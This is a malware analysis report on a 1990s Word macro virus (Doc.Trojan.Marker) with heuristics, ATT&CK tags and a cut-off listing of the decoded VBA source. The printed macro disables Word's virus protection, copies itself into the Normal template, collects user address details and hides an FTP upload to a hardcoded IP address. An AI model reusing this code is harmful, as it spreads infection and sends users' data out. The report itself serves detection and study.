Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3db6774884fd0623…

MALICIOUS

Office (OLE)

52.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 70bfb699f20fb6fa848065e6921d1e79 SHA-1: d6e71e62a1b95adef17b98f5df75aabe70c70272 SHA-256: 3db6774884fd06231d1511b3c879d76eef4a59a2bc1edc13e81479a36f87fe44
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OLE document containing VBA macros. Heuristics indicate the presence of VBA macros and a critical finding of a Shell() call within the VBA code. ClamAV detections further confirm its malicious nature. The VBA code appears to be attempting to infect the document or its template, likely to execute a secondary payload.

Heuristics 3

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 32478 bytes
SHA-256: d9c67c481cb189cc7aad06d09e61a2ba5a362548c59e66a4bab585078197689a
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_New()

'Yarra Valley Water Ltd Loves Nicky F. Also! 22/03/1999 12:32:58
'YMP137 Loves Nicky F. Also! 4/8/99 8:17:35 PM
'Staff Use Only Loves Nicky F. Also! 4/21/99 10:25:43 AM
'Open Access Loves Nicky F. Also! 27/04/99 8:45:32
'Open Access Loves Nicky F. Also! 27/04/99 16:20:14
'Open Access Loves Nicky F. Also! 28/04/99 14:39:51
'Open Access Loves Nicky F. Also! 30/04/99 16:24:24
'Open Access Loves Nicky F. Also! 12/05/99 16:47:49
End Sub


'Yarra Valley Water Ltd Loves Nicky F. Also! 22/03/1999 12:32:58
'YMP137 Loves Nicky F. Also! 4/8/99 8:17:35 PM
'Staff Use Only Loves Nicky F. Also! 4/21/99 10:25:43 AM
'Open Access Loves Nicky F. Also! 27/04/99 8:55:35
'Open Access Loves Nicky F. Also! 27/04/99 14:04:27
'Open Access Loves Nicky F. Also! 27/05/99 14:50:12
End Sub

 Label1_Click()

'Open Access Loves Nicky F. Also! 8/06/99 20:39:59
'V.U.T Loves Nicky F. Also! 9/06/99 18:53:21
'Hien Loves Nicky F. Also! 6/10/99 7:57:15 AM
'Huy Nguyen Loves Nicky F. Also! 6/28/99 11:02:24 AM
End Sub
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For I = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next I
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For I = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next I

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:m
... (truncated)

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